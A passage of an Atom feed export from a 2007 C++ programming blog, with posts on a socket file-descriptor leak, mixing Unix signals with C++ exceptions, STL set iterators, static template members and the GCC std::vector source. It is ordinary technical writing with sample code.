/&gt;        sockfd = -1;&lt;br /&gt;    }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;template &lt;typename socket_type&gt;&lt;br /&gt;class client_socket {&lt;br /&gt;private:&lt;br /&gt;    socket_type m_sock;&lt;br /&gt;    int connect(string, int) throw(socket_connect_exception);&lt;br /&gt;public:&lt;br /&gt;    client_socket(string ip, int port) : m_sock(connect(ip, port)) {}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;template &lt;typename socket_type&gt;&lt;br /&gt;int client_socket&lt;socket_type&gt;::connect(&lt;br /&gt;    const std::string &amp; hostname, unsigned int port){&lt;br /&gt;    int sockfd = -1;&lt;br /&gt;    struct sockaddr_in serv_addr;&lt;br /&gt;&lt;br /&gt;    sockfd = ::socket(AF_INET, SOCK_STREAM, 0);&lt;br /&gt;    THROW_SE(sockfd &lt; 0, "client_socket open socket");&lt;br /&gt;&lt;br /&gt;    int ilen = sizeof(int);&lt;br /&gt;    int itrue = 1;&lt;br /&gt;    int r = ::setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &amp;itrue, ilen);&lt;br /&gt;    THROW_SE(r == -1, "basic_socket::basic_socket Failed to set socket for reuse");&lt;br /&gt;&lt;br /&gt;    struct hostent server;&lt;br /&gt;    struct hostent *hp;&lt;br /&gt;    char hsbuf[4096];&lt;br /&gt;    int herr;&lt;br /&gt;    ::bzero(&amp;server, sizeof(server));&lt;br /&gt;    THROW_SE((::gethostbyname_r(hostname.c_str(), &amp;server, hsbuf, 4095, &amp;hp, &amp;herr) != 0),&lt;br /&gt;        "ERROR client_socket::connect::gethostbyname_r no such host");&lt;br /&gt;&lt;br /&gt;    bzero((char *) &amp;serv_addr, sizeof(serv_addr));&lt;br /&gt;    serv_addr.sin_family = AF_INET;&lt;br /&gt;    bcopy((char *)server.h_addr,&lt;br /&gt;         (char *)&amp;serv_addr.sin_addr.s_addr,&lt;br /&gt;         server.h_length);&lt;br /&gt;    serv_addr.sin_port = htons(port);&lt;br /&gt;    int ret = 0;&lt;br /&gt;    ret = ::connect(sockfd, (const sockaddr *)&amp;serv_addr, sizeof(serv_addr));&lt;br /&gt;    THROW_SE(ret &lt; 0, "ERROR client_socket::connect::connecting");&lt;br /&gt;    return sockfd;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;As you can see, once you leave the ideal and conceptual language realm and delve into the real world, in&lt;br /&gt;this case, Unix networking, things start to get more complex to manage. First as a library writer, you&lt;br /&gt;generally shouldn't just terminate the program if your client fails to establish a connection to another host.&lt;br /&gt;Instead you should report the error the client and let the client user decide based on the information the&lt;br /&gt;library provided. Since a connection failure is not a logical error (as opposed to use assert), ideally it should&lt;br /&gt;not cause a program shutdown.&lt;br /&gt;&lt;br /&gt;In the spirit of that, there are 2 ways to propogate the error condition back to the client, exception or&lt;br /&gt;error code. I've opted to use exception since the very approach can also handle signal as detailed in my previous&lt;br /&gt;blog entry.&lt;br /&gt;&lt;br /&gt;Now at this point, the bug is hidden in the code. Why isn't basic_socket cleaning up the socket if there is a failure&lt;br /&gt;in client_socket establishing a connection? Think about it before you scroll down for the answer.&lt;br /&gt;&lt;br /&gt;As it turns out, it's possible that a basic_socket is never constructed if there was failure in any of those system&lt;br /&gt;calls to operate the socket. For example, ::socket succeeds, but connect fails and generates an exception. And once&lt;br /&gt;the exception leaves the connect subroutine, the C++ runtime will look for its handler. But neither client_socket&lt;br /&gt;or basic_socket should handle it because they can't make decisions on an connection failure thus there is no exception&lt;br /&gt;handling code for them. As socket_connect_exception leaves basic_socket constructor, m_sock is never constructed. And&lt;br /&gt;when the default client_socket constructor starts to destroy its members, the default m_sock object has no socket to&lt;br /&gt;destroy. Thus leading to a file descriptor leak.&lt;br /&gt;&lt;br /&gt;To fix this, I wrapped the statements in client_socket::connect in a try and rethrow block, but just before rethrow,&lt;br /&gt;I test and close the socket. Viola, this fixed the file descriptor leak issue. During investigation of this issue,&lt;br /&gt;I found that the following sutle points dealing with network sockets in a multi-thread application in C++.&lt;br /&gt;&lt;br /&gt;1) double close can cause sutle and difficult to track bug. The way unix handles file descriptor creation is that once&lt;br /&gt;a file descriptor is closed, the same file desciptor number will be immediately reused. e.g. int fd = 10; close(fd); fd = open(...);&lt;br /&gt;at this point fd will equal to 10 normally. This has implication in multi-thread application, because a double close may end&lt;br /&gt;up closing a working file descriptor on the 2nd close. Thread #2 may open the file descriptor number closed on the first&lt;br /&gt;close by thread #1. As you can well imagine, this leads to inconsistent, non-producible bug behavior.&lt;br /&gt;&lt;br /&gt;2) pay close attention to copy constructors, copy assignment operators the compilers may create for your system resource&lt;br /&gt;management class. The solution, never allow direct copy semantic on this kind of class. Inherit from boost::noncopyable. If&lt;br /&gt;you absolutely need copy semantic, wrap your class creation through boost::shared_ptr and copy the pointer around, this way&lt;br /&gt;the resource is reference count managed and released automatically. This also provides a solution to the double close fiasco.&lt;br /&gt;Since the resource is never double released.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-911953760359884063?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/911953760359884063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/911953760359884063'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/08/its-hard-to-write-safe-and-sound-c-code.html' title='It&apos;s hard to write safe and sound C++ code'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-7003309836190068711</id><published>2007-08-15T09:32:00.000-05:00</published><updated>2008-01-17T12:07:47.507-05:00</updated><title type='text'>Linux Threads, Process, Signals, C++ Exceptions</title><content type='html'>Unix signals and C++ exceptions interaction is an thorny issue for unix/linux system programmers who develop C++ system applications. There is no way to get around unix/linux system signals (thereafter referred to as signals). Traditionally there are 2 categories of signals, syncrhonous and asynchronmous signals. e.g. SIGBUS is a synchronous signal, while SIGPIPE is an asynchronous signal. (Introduction to Unix Signals Programming)&lt;br /&gt;&lt;br /&gt;However, the classification of signal is highly operating system dependent. A signal could be synchronous or asynchronous on different operating system kernel. Usually a synchronous signal is delivered to the process/thread that generates the signal itself, an asynchronous signal is delivered to an arbitrary process/thread that belongs to a process or thread group. (Linux Journal, Martin McCarty)&lt;br /&gt;&lt;br /&gt;A lot of workhas been done on i386 architecture with GNU compilers on Linux kernel. Through unit test, this is the best practice I found when mixing unix signals and C++ exception: throw an exception from the signal handler and take care of the exception from exception handler. There are 2 reasons that this approach actually works.&lt;br /&gt;1) Linux threads are actually process 'cloned' from a paernt process. Each linux thread has its own unique process id. This made testing very easy because one can use 'kill' comand to send arbitrary signal to a specific linux thread in a thread group without concerning about the complex process/thread signal delivery mechanism on some Unix operating system.&lt;br /&gt;2) GNU compilers enable stack unwind through -fnon-call-exception (synchronous) and -fasynchronous-unwind-tables to support C++ exception.&lt;br /&gt;&lt;br /&gt;A few notes to implement correct behavior:&lt;br /&gt;1) signal handler should be as simple as possible, ideally just a throw&lt;br /&gt;2) exception handling through be as simple as possible, or we might end up with a double throw situation. Make sure your exception handling code cannot generate any synchronous signal, i.e. the exception handling code has to be absolutely correct in a sense. If the exception handling code is fairly complicated, mask(block) as many as signals as you can, because if you enter another signal is triggered-&gt;signal handler-&gt;throw-&gt;catch block process again, the stack is completely messed up, a program abort is in order.&lt;br /&gt;&lt;br /&gt;The following test code demonstrates various points of this article. I've also used a trick to by pass linux threads library to get process id directly through syscall.&lt;br /&gt;&lt;br /&gt;g++ -fstrict-aliasing -fomit-frame-pointer -fnon-call-exceptions -fasynchronous-unwind-tables -Wall -pedantic -ansi -g -O2 -o boost_thread_signal boost_thread_signal.cpp -lpthread -lboost_thread&lt;br /&gt;&lt;pre&gt;&lt;sourcecode&gt;&lt;br /&gt;#include &lt; boost/thread/thread.hpp&gt;&lt;br /&gt;#include &lt; boost/thread/barrier.hpp&gt;&lt;br /&gt;&lt;br /&gt;extern "C"{&lt;br /&gt;#include &lt; execinfo.h&gt;&lt;br /&gt;#include &lt; signal.h&gt;&lt;br /&gt;#include &lt; pthread.h&gt;&lt;br /&gt;#include &lt; sys/syscall.h&gt;&lt;br /&gt;#include &lt; unistd.h&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#include &lt; string&gt;&lt;br /&gt;#include &lt; iostream&gt;&lt;br /&gt;#include &lt; exception&gt;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;using namespace boost;&lt;br /&gt;&lt;br /&gt;#define GEN_EXCEPTION_CLASS(name, default_msg) \&lt;br /&gt;class name : std::exception {\&lt;br /&gt;public: \&lt;br /&gt;    name(const std::string &amp; m=default_msg) : msg(m) {} \&lt;br /&gt;    ~name() throw() {} \&lt;br /&gt;    const char* what() const throw() { return msg.c_str(); } \&lt;br /&gt;private: \&lt;br /&gt;    std::string msg; \&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;typedef void (*sighandler_t)(int);&lt;br /&gt;&lt;br /&gt;mutex mutex_;&lt;br /&gt;barrier barrier_(10); // N = N_THREAD + 1 to synchronize execution&lt;br /&gt;GEN_EXCEPTION_CLASS(signal_exception, "signal_exception: Signal caught in signal handler")&lt;br /&gt;&lt;br /&gt;void * sig_handler(int signum){&lt;br /&gt;//    int pid = (long int)syscall(224);&lt;br /&gt;//    cout &lt;&lt; "UNIX signal " &lt;&lt; signum &lt;&lt; " caught in " &lt;&lt; pid &lt;&lt; endl;&lt;br /&gt;//&lt;br /&gt;//        void * array[25];&lt;br /&gt;//        int nSize = backtrace(array, 25);&lt;br /&gt;//        char ** symbols = backtrace_symbols(array, nSize);&lt;br /&gt;//&lt;br /&gt;//        for (int i = 0; i &lt; nSize; i++)&lt;br /&gt;//        {&lt;br /&gt;//            cout &lt;&lt; symbols[i] &lt;&lt; endl;&lt;br /&gt;//        }&lt;br /&gt;//&lt;br /&gt;//        free(symbols);&lt;br /&gt;//&lt;br /&gt;    throw signal_exception();&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;class bthread{&lt;br /&gt;&lt;br /&gt;private:&lt;br /&gt;    int tid, pid;&lt;br /&gt;public:&lt;br /&gt;    bthread(int i) : tid(i){&lt;br /&gt;        pid = (long int)syscall(224);&lt;br /&gt;       //sighandler_t signal(int signum, sighandler_t handler);&lt;br /&gt;        ::signal(SIGPIPE, (sighandler_t)sig_handler);&lt;br /&gt;        ::signal(SIGALRM, (sighandler_t)sig_handler);&lt;br /&gt;       //(void) signal (SIGSEGV, threadsigsegvhandler);&lt;br /&gt;       //(void) signal (SIGTERM, threadsigtermhandler);&lt;br /&gt;       //sigset_t sigs_to_block;&lt;br /&gt;       //sigemptyset(&amp;sigs_to_block);&lt;br /&gt;       //sigaddset(&amp;sigs_to_block, SIGPIPE);&lt;br /&gt;       //sigaddset(&amp;sigs_to_block, SIGINT);&lt;br /&gt;       //pthread_sigmask(SIG_BLOCK, &amp;sigs_to_block, NULL);&lt;br /&gt;    }&lt;br /&gt;    void operator()()&lt;br /&gt;    {&lt;br /&gt;        try{&lt;br /&gt;            mutex::scoped_lock l(mutex_);&lt;br /&gt;            printf("The PID of this LINUX thread is: %ld\n", (long int)syscall(224));&lt;br /&gt;            cout &lt;&lt; "thread id: " &lt;&lt; ::getppid() &lt;&lt; " " &lt;&lt; (::getpid() + tid) &lt;&lt; endl;&lt;br /&gt;            sleep(60);&lt;br /&gt;        }catch(signal_exception &amp; e){&lt;br /&gt;            cout &lt;&lt; e.what() &lt;&lt; endl;&lt;br /&gt;        }catch(...){&lt;br /&gt;            cout &lt;&lt; "something happened..." &lt;&lt; endl;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;    try{&lt;br /&gt;       boost::thread_group threads;&lt;br /&gt;       for (int i = 0; i &lt; 10; ++i)&lt;br /&gt;          threads.create_thread(bthread(i));&lt;br /&gt;       threads.join_all();&lt;br /&gt;    }catch(signal_exception &amp; e){&lt;br /&gt;        cout &lt;&lt; e.what() &lt;&lt; endl;&lt;br /&gt;    }catch(...){&lt;br /&gt;        cout &lt;&lt; "something happened..." &lt;&lt; endl;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/sourcecode&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-7003309836190068711?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7003309836190068711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7003309836190068711'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/08/linux-threads-process-signals-c.html' title='Linux Threads, Process, Signals, C++ Exceptions'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-5273963512456865059</id><published>2007-07-20T16:31:00.000-05:00</published><updated>2007-07-20T16:34:44.836-05:00</updated><title type='text'>Comparison of C++ postgresql database interface library</title><content type='html'>libpq++, best performance in terms of raw speed, but the interface is more C-ish than C++-ish&lt;br /&gt;&lt;br /&gt;libpqxx, very modern C++ interface, but as of version 2.6.9, it has serious threading issue&lt;br /&gt;&lt;br /&gt;soci, somewhat strange interface design, supports multiple database serrvers, good performance.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-5273963512456865059?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5273963512456865059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5273963512456865059'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/07/comparison-of-c-postgresql-database.html' title='Comparison of C++ postgresql database interface library'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-7224626813556575103</id><published>2007-07-05T14:30:00.001-05:00</published><updated>2008-04-01T10:52:08.685-05:00</updated><title type='text'>C++ static template class member variable</title><content type='html'>C++ can be wierd. A non-template class member variable when declared static needs to be instantiated in a link unit e.g.&lt;br /&gt;&lt;br /&gt;struct A{&lt;br /&gt;static int a;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int A::a;&lt;br /&gt;&lt;br /&gt;For a template class, it can get wierd:&lt;br /&gt;template &lt; typename T&gt;&lt;br /&gt;struct A{&lt;br /&gt;static int a;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;template &lt; typname T&gt; &lt;br /&gt;int A&lt; T&gt;::a;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-7224626813556575103?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7224626813556575103'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7224626813556575103'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/07/c-static-template-class-member-variable.html' title='C++ static template class member variable'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-1605763771551645457</id><published>2007-06-28T13:56:00.000-05:00</published><updated>2007-06-29T09:03:25.137-05:00</updated><title type='text'>C++ how is STL set/map iterator implemented?</title><content type='html'>Users of STL containers enjoy the immense power of iterators provided&lt;br /&gt;by different types of containers. The sequence container iterators&lt;br /&gt;are easy to understand and implement conceptually. What about the&lt;br /&gt;associate containers, such as set and map?&lt;br /&gt;&lt;br /&gt;STL set and map are normally implemented through red black tree, a type&lt;br /&gt;of self balancing binary search tree. Thus iterators of a set or a map&lt;br /&gt;is internally represented by a pointer to a red black tree node in practice.&lt;br /&gt;&lt;br /&gt;Let's look at some code involving the related entities:&lt;br /&gt;&lt;br /&gt;template&lt;_Tp&gt;&lt;br /&gt;set&lt;_Tp&gt; s;&lt;br /&gt;node&lt;_Tp&gt; n;&lt;br /&gt;rb_tree&lt;node&lt;_Tp&gt; &gt; rbt;&lt;br /&gt;&lt;br /&gt;typedef node&lt;_Tp&gt; * set&lt;_Tp&gt;::iterator;&lt;br /&gt;typedef node&lt;_Tp&gt; * rb_tree&lt;node&lt;_Tp&gt; &gt;::iterator;&lt;br /&gt;&lt;br /&gt;Let's leave a few template parameters out of the discussion for now to illustrate&lt;br /&gt;the concept. For curious readers, those parameters defines behavior of node allocation&lt;br /&gt;and comparison...&lt;br /&gt;&lt;br /&gt;Let's recall the different ways a tree can be iterated or traversed: depth first&lt;br /&gt;traversal (DFS) and breath first traversal (BFS). In DFS, there are 3 orders of traversal:&lt;br /&gt;pre-order (S L R), in-order (L S R), and post-order (L R S). A BST in-order DFS yields&lt;br /&gt;a sorted list of nodes. (L: left, S: self, R: right)&lt;br /&gt;&lt;br /&gt;We would stop here now if we are interested in read only set or map traversal.&lt;br /&gt;However node erasure is an equally important operation. And node based containers (&lt;br /&gt;such as list, set, and map) gurantees that erase(iterator) invalides the iterator&lt;br /&gt;being erased only. This is a curious feature. It's easy to understand why this is so&lt;br /&gt;for list. But for red black tree based set and map, how does STL gurantees this&lt;br /&gt;behavior?&lt;br /&gt;&lt;br /&gt;An important observation of the set and map containers is that iteration of these&lt;br /&gt;containers always yields &lt;b&gt;sorted&lt;/b&gt; result. This takes us back to the BST in-order&lt;br /&gt;DFS problem. There is an invariance in set/map iteration: order of nodes is predefined.&lt;br /&gt;&lt;br /&gt;Consider the following sample code:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#include &amp;lt set&amp;gt&lt;br /&gt;#include &amp;lt iostream&amp;gt&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;void display(const set&lt;int&gt; &amp; s){&lt;br /&gt;    cout &lt;&lt; "node value: ";&lt;br /&gt;    set&lt;int&gt;::const_iterator it = s.begin();&lt;br /&gt;    for(;it != s.end(); it++) cout &lt;&lt; " " &lt;&lt; *it;&lt;br /&gt;    cout &lt;&lt; endl;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;&lt;br /&gt;    set&lt;int&gt; s;&lt;br /&gt;    s.insert(4);&lt;br /&gt;    s.insert(1);&lt;br /&gt;    s.insert(10);&lt;br /&gt;    s.insert(2);&lt;br /&gt;    s.insert(3);&lt;br /&gt;    s.insert(5);&lt;br /&gt;&lt;br /&gt;    display(s);&lt;br /&gt;&lt;br /&gt;    s.erase(3);&lt;br /&gt;    display(s);&lt;br /&gt;&lt;br /&gt;    s.insert(3);&lt;br /&gt;    display(s);&lt;br /&gt;&lt;br /&gt;    cout &lt;&lt; "node value: ";&lt;br /&gt;    set&lt;int&gt;::const_iterator it = s.begin();&lt;br /&gt;    while(it != s.end()){&lt;br /&gt;        if(*it == 3) s.erase(it++);&lt;br /&gt;        else ++it;&lt;br /&gt;        if(it != s.end()) cout &lt;&lt; " " &lt;&lt; *it;&lt;br /&gt;    }&lt;br /&gt;    cout &lt;&lt; endl;&lt;br /&gt;    display(s);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The output is:&lt;br /&gt;./test_set_iter&lt;br /&gt;node value:  1 2 3 4 5 10&lt;br /&gt;node value:  1 2 4 5 10&lt;br /&gt;node value:  1 2 3 4 5 10&lt;br /&gt;node value:  2 3 4 5 10&lt;br /&gt;node value:  1 2 4 5 10&lt;br /&gt;&lt;br /&gt;As we can see, no matter how the iterations are done, there is a predefined&lt;br /&gt;ascending order of nodes. This means that as long as the underlying red black&lt;br /&gt;tree can do in-order DFS, iteration behavior is guranteed. And as a self-balancing&lt;br /&gt;BST, in-order DFS is guranteed for red black tree.&lt;br /&gt;&lt;br /&gt;Note that the 4th row prints 2 3 4 5 10, why is it doing so when we are erasing element 3? This confused me at the begining but the behavior is absolutely correct. Can you explain it?&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-1605763771551645457?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1605763771551645457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1605763771551645457'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/06/c-how-is-stl-setmap-iterator.html' title='C++ how is STL set/map iterator implemented?'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-438356176598825808</id><published>2007-06-26T16:37:00.000-05:00</published><updated>2007-06-26T16:38:46.712-05:00</updated><title type='text'>libxml high performance xml parser</title><content type='html'>I found this website extremely helpful in order to start libxml programming in C. http://xmlsoft.org/tutorial/index.html&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-438356176598825808?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/438356176598825808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/438356176598825808'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/06/libxml-high-performance-xml-parser.html' title='libxml high performance xml parser'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-8061729657411190604</id><published>2007-06-26T13:41:00.000-05:00</published><updated>2007-06-27T09:59:39.415-05:00</updated><title type='text'>C++: The standard template library: vector</title><content type='html'>It's advised that an aspiring programer should read and study the C++ STL source code. Although I had fair amount of experience with STL, I decided to take time to study its source code (distributed in gnu c++ compiler 4.1.1). &lt;br /&gt;&lt;br /&gt;Let's start with the most used container std::vector. First of all, the journey starts with the top level header file &lt;vector&gt; found at /usr/include/c++/4.1.1/vector&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;#ifndef _GLIBCXX_VECTOR&lt;br /&gt;#define _GLIBCXX_VECTOR 1&lt;br /&gt;&lt;br /&gt;#pragma GCC system_header&lt;br /&gt;&lt;br /&gt;#include &lt;bits/functexcept.h&gt;           // function exception helper, -fno-exception support&lt;br /&gt;#include &lt;bits/stl_algobase.h&gt;          // internal algorithm suport, swap, copy, fill etc...&lt;br /&gt;#include &lt;bits/allocator.h&gt;             // contains std::allocator&lt;_Tp&gt; &lt;br /&gt;#include &lt;bits/stl_construct.h&gt;         // internal functions for construction and destruction of objects&lt;br /&gt;#include &lt;bits/stl_uninitialized.h&gt;     // internal, dealing with initialization of objects&lt;br /&gt;#include &lt;bits/stl_vector.h&gt;            // contains STL vector implementation&lt;br /&gt;#include &lt;bits/stl_bvector.h&gt;           // vector&lt;bool&gt; and bit vector specialization&lt;br /&gt;&lt;br /&gt;#ifndef _GLIBCXX_EXPORT_TEMPLATE&lt;br /&gt;# include &lt;bits/vector.tcc&gt;&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#ifdef _GLIBCXX_DEBUG&lt;br /&gt;# include &lt;debug/vector&gt;                // a debug build of stl, extremely useful for debugging&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#endif /* _GLIBCXX_VECTOR */&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Ok, what have we learnt? 1) there is a debug build of stl::vector, similarly for other stl containers. This is an extremely useful and most overlooked feature of STL. It has proven very useful to help debug STL related issues. 2) vector&lt;bool&gt; and bitvector are specializations of std::vector. But there are some minor details of thse containers that one should be aware of when using them. We'l come back to these 2 containers later. 3) object creation and destruction play important roles in implementation of vector, several header files contain internal implementation of functions dealing with object construction, initialization, and destruction. &lt;br /&gt;&lt;br /&gt;Now let's dive into the vector implementation:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;#ifndef _VECTOR_H&lt;br /&gt;#define _VECTOR_H 1&lt;br /&gt;&lt;br /&gt;#include &lt;bits/stl_iterator_base_funcs.h&gt;   // deal with iterators&lt;br /&gt;#include &lt;bits/functexcept.h&gt;&lt;br /&gt;#include &lt;bits/concept_check.h&gt;&lt;br /&gt;&lt;br /&gt;namespace _GLIBCXX_STD           // This the std namespace in gnu c++ implementation&lt;br /&gt;{&lt;br /&gt;  /**&lt;br /&gt;   *  @if maint&lt;br /&gt;   *  See bits/stl_deque.h's _Deque_base for an explanation.&lt;br /&gt;   *  @endif&lt;br /&gt;  */&lt;br /&gt;  template&lt;typename _Tp, typename _Alloc&gt;&lt;br /&gt;    struct _Vector_base          // Interesting, there is a base class for std::vector&lt;br /&gt;    {&lt;br /&gt;      typedef typename _Alloc::template rebind&lt;_Tp&gt;::other _Tp_alloc_type;&lt;br /&gt;// _Tp_alloc_type = std::allocator&lt;_Tp&gt;&lt;br /&gt;// For customizing purpose, vector needs to inform the allocator class that it&lt;br /&gt;// deals with _Tp data type. It asks the allocator to intialize with _Tp. &lt;br /&gt;// It may not be apparent why this is required here, but it'll be clear when we&lt;br /&gt;// deal with std::list, where &lt;br /&gt;// _Tp_alloc_type = std::allocator&lt;Node&lt;_Tp&gt; &gt;&lt;br /&gt;// i.e. std::list&lt;int&gt;'s allocator is actually allocator&lt;Node&lt;int&gt; &gt;&lt;br /&gt;      struct _Vector_impl&lt;br /&gt;      : public _Tp_alloc_type&lt;br /&gt;      {&lt;br /&gt;    _Tp*           _M_start;&lt;br /&gt;    _Tp*           _M_finish;&lt;br /&gt;    _Tp*           _M_end_of_storage;&lt;br /&gt;    _Vector_impl(_Tp_alloc_type const&amp; __a)&lt;br /&gt;    : _Tp_alloc_type(__a), _M_start(0), _M_finish(0), _M_end_of_storage(0)&lt;br /&gt;    { }&lt;br /&gt;      };     _Vector_impl is an internal struct. It inherits from allocator&lt;_Tp&gt;&lt;br /&gt;//Vector base is implemented through _Vector_impl which derives from _Tp_alloc_type&lt;br /&gt;//In this struct, 3 orthoganal data members describe a vector, the start, the finish,&lt;br /&gt;//and the end of the storage. There are 2 paralel concepts here, logical and physical.&lt;br /&gt;//The start variable is the start of vector in both logical and physical sense, this is a&lt;br /&gt;//pointer that points to the start of the vector. The finish variable denotes a logical&lt;br /&gt;//end of a vector. A user is not allowed to access a vector beyond this point. &lt;br /&gt;//The end of storage variable points to the end of the physical entity, beyond which&lt;br /&gt;//it's un-initialized emptiness.&lt;br /&gt;//With the help of these 3 variables, many bound operations can be performed on a&lt;br /&gt;//vector container.&lt;br /&gt;    public:&lt;br /&gt;      typedef _Alloc allocator_type;&lt;br /&gt;&lt;br /&gt;      _Tp_alloc_type&amp;&lt;br /&gt;      _M_get_Tp_allocator()&lt;br /&gt;      { return *static_cast&lt;_Tp_alloc_type*&gt;(&amp;this-&gt;_M_impl); }&lt;br /&gt;&lt;br /&gt;      const _Tp_alloc_type&amp;&lt;br /&gt;      _M_get_Tp_allocator() const&lt;br /&gt;      { return *static_cast&lt;const _Tp_alloc_type*&gt;(&amp;this-&gt;_M_impl); }&lt;br /&gt;&lt;br /&gt;      allocator_type&lt;br /&gt;      get_allocator() const&lt;br /&gt;      { return _M_get_Tp_allocator(); }&lt;br /&gt;&lt;br /&gt;      _Vector_base(const allocator_type&amp; __a)&lt;br /&gt;      : _M_impl(__a)&lt;br /&gt;      { }&lt;br /&gt;&lt;br /&gt;      _Vector_base(size_t __n, const allocator_type&amp; __a)&lt;br /&gt;      : _M_impl(__a)&lt;br /&gt;      {&lt;br /&gt;    this-&gt;_M_impl._M_start = this-&gt;_M_allocate(__n);&lt;br /&gt;    this-&gt;_M_impl._M_finish = this-&gt;_M_impl._M_start;&lt;br /&gt;    this-&gt;_M_impl._M_end_of_storage = this-&gt;_M_impl._M_start + __n;&lt;br /&gt;      }&lt;br 